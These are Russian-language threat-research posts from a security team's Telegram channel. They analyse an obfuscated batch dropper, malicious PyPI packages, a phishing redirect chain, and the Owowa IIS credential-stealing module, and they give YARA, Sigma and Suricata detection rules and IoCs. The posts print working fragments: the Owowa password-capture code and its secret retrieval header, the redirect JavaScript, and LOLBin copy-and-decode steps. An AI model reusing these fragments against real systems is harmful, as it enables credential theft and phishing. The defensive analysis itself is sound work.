Об обфусцированном батнике замолвите слово...
Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали
📂 Открыть его удалось только с помощью WinRAR и UnRAR на Linux, дефолтный распаковщик Винды и 7-Zip теряются при виде архива, как показано на первом скриншоте (UX этого семпла на очень низком уровне).
Внутри архива находится batch-файл
Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).
Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.
Применим деобфускатор к файлу:
Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).
Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).
Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:
Как вам эта информация, мотивирует к переходу на Linux? 🧐
#Detect #Yara
@ptescalator
Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали
Serkan_Yalgi.Tar.Внутри архива находится batch-файл
Serkan_Yalgi.cmd, на втором скриншоте представлен фрагмент его содержимого. И такого безобразия там примерно 400 строк, остальные 115 000 строк занимает упомянутый в прошлом посте EXE в Base64.Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).
Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.
Применим деобфускатор к файлу:
python batch_interpreter.py –file Serkan_Yalgi.cmd
Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).
Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).
Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:
strings:
$subs = /:~\ *(-|\+)?\d{1,2},\ *(-|\+)?\d{1,3}%/
condition:
#subs > 100
Как вам эта информация, мотивирует к переходу на Linux? 🧐
#Detect #Yara
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍12❤9💯1
Слышали ли вы про публичный репозиторий Suricata-правил Attack Detection?
Да это яяяя Внутри большой команды PT Expert Security Center есть отдельная группа экспертов, главная задача которых — разрабатывать правила обнаружения для сетевых средств защиты. Вы уже наверняка знакомы с некоторыми постами про сетевые артефакты от этой команды.
Спустя два года перерыва мы возвращаемся к вам с обновленным порталом и снова начинаем публиковать части своей экспертизы в виде Suricata-правил 🔥
Из обновлений:
1. Правила для последних уязвимостей.
2. Правила для обнаружения крайне популярных в узких кругах инструментов Croc и gsocket.
3. А также несколько правил для выявления горизонтального перемещения в сети Active Directory.
Настройте suricata-update на поддержку официального источника правил ptrules/open и следите за обновлениями на нашей странице в X.
👋🏼 Stay tuned
#suricata #network #signature #rules
@ptescalator
Спустя два года перерыва мы возвращаемся к вам с обновленным порталом и снова начинаем публиковать части своей экспертизы в виде Suricata-правил 🔥
Из обновлений:
1. Правила для последних уязвимостей.
2. Правила для обнаружения крайне популярных в узких кругах инструментов Croc и gsocket.
3. А также несколько правил для выявления горизонтального перемещения в сети Active Directory.
Настройте suricata-update на поддержку официального источника правил ptrules/open и следите за обновлениями на нашей странице в X.
👋🏼 Stay tuned
#suricata #network #signature #rules
@ptescalator
🔥33👍15❤7
Снова ловим багхантеров 💀
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен
Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам🤨 Занятно. Нагрузка все та же — реверс-шеллы.
Домен🤬 . Что-ж...
———
PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.
#ti #pypi #pyanalysis
@ptescalator
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
innostage и innostage_group. История нетипичная: почта у разработчика — [email protected] (о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru (мимикрия под innostage-group.ru) и files.pythonhosted.ru (мимикрия под files.pythonhosted.org). Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
files.pythonhosted.org поменял на управляемый атакующим files.pypihosted.org.Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам
innostage и innostage_group прибавились cyberart, ... posi, maxpatrol и ptsecurity Домен
inostage.ru уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию ———
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁19🔥13❤7👍4💩3👀2
Какой уязвимый сервис вы любите у себя на периметре? 🥰
Anonymous Poll
16%
Звездный Exchange (Proxyshell/Proxylogon) 🙂
10%
Непрощающий SMB v1.0 (MS17-010, EternalBlue) 🙅♂️
2%
Добродушный NetScaler 😇
8%
Всезнающее семейство Atlassian 🤓
22%
Ламповый плагин к Bitrix 💡
4%
Краснокожий Apache 😡
4%
Гостеприимный RDP -> RDG 👋
5%
Многоликий vCenter 🗿
29%
Я не из этих... 😐
🍓6😁5❤2🐳2🙈2👍1
Ловите продолжение
Если вдруг подобный вредонос смог пройти все рубежи защиты, попасть на тачку пользователя и начать там работать, не все потеряно!
Вы же обратили внимание, что на первом этапе вредоносный BAT-файл копировал и переименовывал пару системных файлов (
cmd.exe и certutil.exe), которые затем использовал?Выявление такого поведения несложно автоматизировать
Хорошо настроенная служба Microsoft Sysmon позволяет не только журналировать запуск процессов и параметры командной строки, но и фиксировать такие интересные данные из свойств файла, как его оригинальное имя (смотрите скриншоты 1 и 2).
А значит, достаточно просто сравнить значения двух полей в событии, чтобы вовремя выявить использование подобной хакерской техники (она, кстати, называется «Маскировка: Переименование системных утилит»).
В составе пакетов экспертизы MaxPatrol SIEM у нас есть правило и на этот случай —
Copied_or_Renamed_Executable.А если у вас нет нашего продукта, можно взять за основу для своих детектов одно из SIGMA-правил proc_creation_win_renamed_binary_highly_relevant.
#Detect #Sigma #Rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🤩7✍6👍2😁1
Как починить CFG 🔧
В процессе реверса ВПО мы встречаемся со случаями, когда обфускация мешает понять общий алгоритм работы. Один из примеров — создание двух последовательных противоположных условных переходов в одну точку.
Схематично это выглядит так:
То есть IDA при анализе кода идет сначала по ветке
Далее, встретив противоположный условный переход, она снова идет по ветке
При живом исполнении в независимости от состояния флагов будет выполнен переход на операнд, то есть выполнение будет как на скриншоте 2, если мы подправим control flow.
Трудность при исследовании таких шеллкодов в том, что переходов может быть много и каждый раз анализ будет о них спотыкаться. Можно попробовать починить вручную, но если таких блоков будут сотни?
✍️ Чтобы справиться с этим, напишем несложный скрипт на
Сначала составим список противоположных условных переходов и положим его в функцию, которая будет сверять две последовательные инструкции со списком:
Будем последовательно проходить каждую инструкцию до тех пор, пока не встретим нужные либо не упремся в лимит.
🧐 С помощью метода
С помощью
Затем исправляем условные переходы и просим IDA проанализировать новый код. Это необходимо, чтобы можно было найти дальнейшие блоки обфускации:
🗂 Методом
Таким образом, этот скрипт позволяет из обфусцированного кода получить нормальный ASM-код, как на скриншоте 3.
Иногда после него остаются единичные нераспознанные байты, но их легко поправить. Из этого кода можно создать функцию, декомпилировать ее и проанализировать (как на скриншоте 4).
Изучайте IDAPython, пишите скрипты. Happy reversing!
#tip #reverse #idapython
@ptescalator
В процессе реверса ВПО мы встречаемся со случаями, когда обфускация мешает понять общий алгоритм работы. Один из примеров — создание двух последовательных противоположных условных переходов в одну точку.
Схематично это выглядит так:
start:
jnX labelA
jX labelA
labelA:
<bytes>
То есть IDA при анализе кода идет сначала по ветке
False и создает код там, откладывая ветку True на потом. Встретив инструкцию jnX, IDA создает код сразу после текущей.Далее, встретив противоположный условный переход, она снова идет по ветке
False и создает код на следующем адресе, построив мусорную инструкцию, после которой дизассемблировать уже нельзя. Тогда IDA возвращается к отложенной на потом очереди и берет адрес оттуда, но беда в том, что там код уже создан, а значит анализ завершается (хорошо видно на скриншоте 1).При живом исполнении в независимости от состояния флагов будет выполнен переход на операнд, то есть выполнение будет как на скриншоте 2, если мы подправим control flow.
Трудность при исследовании таких шеллкодов в том, что переходов может быть много и каждый раз анализ будет о них спотыкаться. Можно попробовать починить вручную, но если таких блоков будут сотни?
✍️ Чтобы справиться с этим, напишем несложный скрипт на
IDAPython, который исправит проблему автоматически. Задача — найти эти блоки и пропатчить их.Сначала составим список противоположных условных переходов и положим его в функцию, которая будет сверять две последовательные инструкции со списком:
def c_jumps(addr, n_addr):
ops = [
("jz", "jnz"),
("jnz", "jz"),
("je", "jne"),
("jne", "je"),
...
]
if (ida_ua.print_insn_mnem(addr), ida_ua.print_insn_mnem(n_addr)) in ops:
return True
return False
Будем последовательно проходить каждую инструкцию до тех пор, пока не встретим нужные либо не упремся в лимит.
def deobf(start, limit=BADADDR):
while addr != BADADDR:
n_addr = ida_search.find_code(addr, ida_search.SEARCH_DOWN)
if n_addr == BADADDR:
break
if not c_jumps(addr, n_addr):
addr = n_addr
continue
🧐 С помощью метода
find_code из модуля ida_search находим следующий адрес, на котором есть код, а с помощью функции c_jumps проверяем, являются ли инструкции на этом и следующем адресе противоположными прыжками. Найдя их, мы должны проверить, указывают ли эти прыжки на одну точку (то есть равны ли их операнды):
o1 = get_operand_value(addr, 0)
o2 = get_operand_value(n_addr, 0)
if o1 != o2:
addr = n_addr
continue
insn = ida_ua.insn_t()
l1 = ida_ua.decode_insn(insn, addr)
l2 = ida_ua.decode_insn(insn, n_addr)
С помощью
get_operand_value получаем значение операндов (у jX и jXX он один) и проверяем их равенство. Чтобы определить длину отрезка, который нужно пропатчить, с помощью decode_insn из ida_ua находим длины инструкций.Затем исправляем условные переходы и просим IDA проанализировать новый код. Это необходимо, чтобы можно было найти дальнейшие блоки обфускации:
after_addr = n_addr + l2
ida_bytes.patch_bytes(addr, bytes([0x90] * (l1 + l2 + 1)))
ida_auto.auto_wait()
ida_bytes.del_items(after_addr, ida_bytes.DELIT_EXPAND)
ida_auto.auto_wait()
ida_ua.create_insn(o1)
addr = o1
ida_auto.auto_wait()
🗂 Методом
patch_bytes из ida_bytes мы патчим инструкции, с помощью auto_wait из ida_auto просим IDA проанализировать новый код, затем, используя del_items, удаляем мусорные инструкции, созданные при первичном анализе, и снова анализируем. С помощью create_insn создаем валидную инструкцию там, куда указывали условные переходы, и переанализируем в последний раз.Таким образом, этот скрипт позволяет из обфусцированного кода получить нормальный ASM-код, как на скриншоте 3.
Иногда после него остаются единичные нераспознанные байты, но их легко поправить. Из этого кода можно создать функцию, декомпилировать ее и проанализировать (как на скриншоте 4).
Изучайте IDAPython, пишите скрипты. Happy reversing!
#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍7💯6👾3
Бесконечная череда переходов ♾️
Довольно часто злоумышленники, отправляя фишинговые ссылки по почте, не прикрепляют их в явном виде к электронному письму, а используют разнообразные техники перенаправления. Подозрительный домен прячется от пользователя и средств защиты, осуществляющих статический анализ ссылок, и увеличивает шансы поймать жертву.
Часто киберпреступники используют один уровень перенаправления с легитимного ресурса на вредоносный. Но нам посчастливилось разобрать кейс, где злоумышленник использовал сразу пять последовательных — и, самое главное, разнообразных — техник перенаправления на вредоносный ресурс.
1️⃣ Перенаправление через TikTok
Ссылка начинается с конструкции:
TikTok дает возможность поместить в описание профиля (параметр
Итак, TikTok вместо смешных рилсов переправляет нас на...
2️⃣ Google AMP
Google AMP — средство ускоренного просмотра веб-страниц, поддерживающих ряд специально созданных для этого ускорения ограничений. Примечательно, что страница загружается не с самого домена, на котором она размещена, а из кэша Google. Собственно, первая интересующая нас веб-страница вполне удовлетворяет этим требованиям, поскольку содержит всего несколько строк JavaScript-кода.
3️⃣ Первый подозрительный домен
Содержит следующий код:
При выполнении, когда истекает тайм-аут в 2 секунды, открывается новая вкладка с
4️⃣ Переход на secondBase64Url
На данном этапе нам встречается использование Cloudflare Turnstile — встраиваемой мини-капчи, не требующей перевода трафика через Cloudflare (пример интерфейса на скриншоте 1). При ручном анализе кода этой страницы мы уже можем распарсить еще один URL-адрес, но, чтобы все-таки совершить переход на него, надо учиться проходить эту капчу.
5️⃣ Традиционный 3XX код ответа страницы
Здесь все просто: на предыдущем этапе URL из кода через стандартный ответ 302 перенаправляет на конечную фишинговую страницу сбора паролей, имитирующую окно авторизации Microsoft Outlook. Ее интерфейс в окне браузера представлен на скриншоте 2.
💁♂️ Советы:
• При анализе фишингового URL-адреса стоит обратить внимание на покрытие обнаруженных техник против переходов (включение пауз, капч, открытие новых вкладок) имеющимися средствами защиты информации: если используемое СЗИ при автоматическом переходе по ссылке не умеет их обходить, то полезным может оказаться просто их детектирование и блокировка соответствующего почтового сообщения.
• Если вы (как пользователь) нажали на подобную ссылку — обратите внимание, насколько часто менялся URL в адресной строке браузера и сколько дополнительных действий было сделано вами и на стороне браузера.
#tip #phishing #web
@ptescalator
Довольно часто злоумышленники, отправляя фишинговые ссылки по почте, не прикрепляют их в явном виде к электронному письму, а используют разнообразные техники перенаправления. Подозрительный домен прячется от пользователя и средств защиты, осуществляющих статический анализ ссылок, и увеличивает шансы поймать жертву.
Часто киберпреступники используют один уровень перенаправления с легитимного ресурса на вредоносный. Но нам посчастливилось разобрать кейс, где злоумышленник использовал сразу пять последовательных — и, самое главное, разнообразных — техник перенаправления на вредоносный ресурс.
1️⃣ Перенаправление через TikTok
Ссылка начинается с конструкции:
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=
TikTok дает возможность поместить в описание профиля (параметр
bio_url) ссылки на внешние ресурсы, и перенаправление на них производится по приведенному выше URL-адресу. Кстати, aid=1988 видим не только в рамках исследования этого кейса, но и в отчетах других вендоров. Единственный необязательный параметр в этом запросе — lang, но, видимо, он, так же как и ID, перекочевал и образовал устойчивый префикс в фишинговых кейсах. Это наводит на мысль добавить его в качестве шаблона для средств защиты.Итак, TikTok вместо смешных рилсов переправляет нас на...
2️⃣ Google AMP
https://www.google.ca/url?q=amp/s/<phishing_url>
Google AMP — средство ускоренного просмотра веб-страниц, поддерживающих ряд специально созданных для этого ускорения ограничений. Примечательно, что страница загружается не с самого домена, на котором она размещена, а из кэша Google. Собственно, первая интересующая нас веб-страница вполне удовлетворяет этим требованиям, поскольку содержит всего несколько строк JavaScript-кода.
3️⃣ Первый подозрительный домен
Содержит следующий код:
<script type="text/javascript">
var firstBase64Url = "aHR0cHM6Ly94LmNvbQ==";
var secondBase64Url = "<Ещё один вредоносный ресурс>";
// Load the first URL for a few seconds
setTimeout(function() {
window.open(atob(firstBase64Url), '_blank');
}, 2000); // 2000 milliseconds = 2 seconds
// After the specified time, load the second URL
setTimeout(function() {
window.location.href = atob(secondBase64Url) + "?qrc=" + window.location.hash.substr(1);
}, 2000); // 2000 milliseconds = 2 seconds
</script>
При выполнении, когда истекает тайм-аут в 2 секунды, открывается новая вкладка с
firstBase64Url (как несложно проверить, это https://x.com/, еще один легитимный ресурс), а в открытой вкладке происходит перенаправление на secondBase64Url. Обе техники — открытие новой браузерной вкладки и включение тайм-аута — нужны для усложнения анализа веб-краулерами.4️⃣ Переход на secondBase64Url
На данном этапе нам встречается использование Cloudflare Turnstile — встраиваемой мини-капчи, не требующей перевода трафика через Cloudflare (пример интерфейса на скриншоте 1). При ручном анализе кода этой страницы мы уже можем распарсить еще один URL-адрес, но, чтобы все-таки совершить переход на него, надо учиться проходить эту капчу.
5️⃣ Традиционный 3XX код ответа страницы
Здесь все просто: на предыдущем этапе URL из кода через стандартный ответ 302 перенаправляет на конечную фишинговую страницу сбора паролей, имитирующую окно авторизации Microsoft Outlook. Ее интерфейс в окне браузера представлен на скриншоте 2.
💁♂️ Советы:
• При анализе фишингового URL-адреса стоит обратить внимание на покрытие обнаруженных техник против переходов (включение пауз, капч, открытие новых вкладок) имеющимися средствами защиты информации: если используемое СЗИ при автоматическом переходе по ссылке не умеет их обходить, то полезным может оказаться просто их детектирование и блокировка соответствующего почтового сообщения.
• Если вы (как пользователь) нажали на подобную ссылку — обратите внимание, насколько часто менялся URL в адресной строке браузера и сколько дополнительных действий было сделано вами и на стороне браузера.
#tip #phishing #web
@ptescalator
🔥11👍8❤4⚡3🍌1
👍9🔥7💯5💩2⚡1❤1🤡1
Gapucino* — это GOFFEE ☕️
Сегодня мы расскажем про одну из самых активных на данный момент кампаний на территории России. Другие исследователи называют ее GOFFEE.
В качестве исходного вектора злоумышленники используют фишинговые письма с документами, которые содержат вредоносный макрос. Пример такого документа мы разобрали в посте !!р^д**н**c 🤔
Аналогичные документы можно обнаружить по паттерну:
Кроме того, эксперты из Cisco Talos буквально на днях описали аналогичную цепочку атак на российские компании.
После проникновения в инфраструктуру атакующие используют Mythic-агент QwakMyAgent, написанный на языке PowerShell, о котором рассказали специалисты F.A.C.C.T.
Одним из самых интересных инструментов, который применяется атакующими в ходе этой кампании, является IIS-модуль
*
#dfir #detect #C2 #TI
@ptescalator
Сегодня мы расскажем про одну из самых активных на данный момент кампаний на территории России. Другие исследователи называют ее GOFFEE.
В качестве исходного вектора злоумышленники используют фишинговые письма с документами, которые содержат вредоносный макрос. Пример такого документа мы разобрали в посте !!р^д**н**c 🤔
Аналогичные документы можно обнаружить по паттерну:
content:"DigitalRSASignature"
Кроме того, эксперты из Cisco Talos буквально на днях описали аналогичную цепочку атак на российские компании.
После проникновения в инфраструктуру атакующие используют Mythic-агент QwakMyAgent, написанный на языке PowerShell, о котором рассказали специалисты F.A.C.C.T.
Одним из самых интересных инструментов, который применяется атакующими в ходе этой кампании, является IIS-модуль
Owowa (о нем — в следующем посте). *
Gapucino.com — один из C2 злоумышленников.#dfir #detect #C2 #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4✍3👾2🆒1
Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.
А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.
Модуль устанавливается в системе командой
appcmd.exe install module. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.
public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...
Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.
Пример учетных данных, которые записываются в HashSet:
ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}
Данные, как и раньше, защищены алгоритмом
RSA-2048, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00, она является разделителем учетных записей.
memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);
Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.
Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком
username: ZaDS0tojX0VDh82.Пример GET-запроса в журналах IIS-сервера:
2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14
Помимо перехвата полей
username, password в новой версии были добавлены перехваты LOGON_USER, AUTH_PASSWORD.В последней версии злоумышленники отказались от функции
RunCommand, которая выполняла команды на скомпрометированном узле через powershell.exe.IoCs:
Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6
YARA:
rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}
Happy hunting!
#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12✍6💯4👍1🍾1
В начале июня 2024 года специалисты департамента Threat Intelligence выявили новую цепочку атаки PhaseShifters.
✍️ PhaseShifters (Sticky Werewolf, UAC-0050
В своих атаках группировка использует фишинг: злоумышленники отправляют письма якобы от официальных лиц с просьбой ознакомиться с документом и подписать его. Документ находится во вложении внутри защищенного паролем архива. В качестве ВПО злоумышленники используют Rhadamanthys, DarkTrack RAT, Meta Stealer и другие.
На данный момент мы склоняемся к тому, что UAC-0050 и PhaseShifters — это одна и та же группировка, но убедиться в этом можно будет только после более длительного наблюдения.
Летом этого года обе группировки начали использовать идентичные паттерны в своих атаках. Дошло даже до того, что ВПО группировок располагалось в одном и том же репозитории BitBucket. Это заставило нас углубиться в эту тему.
#TI #Hunt #Malware #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8❤5👍5🤣2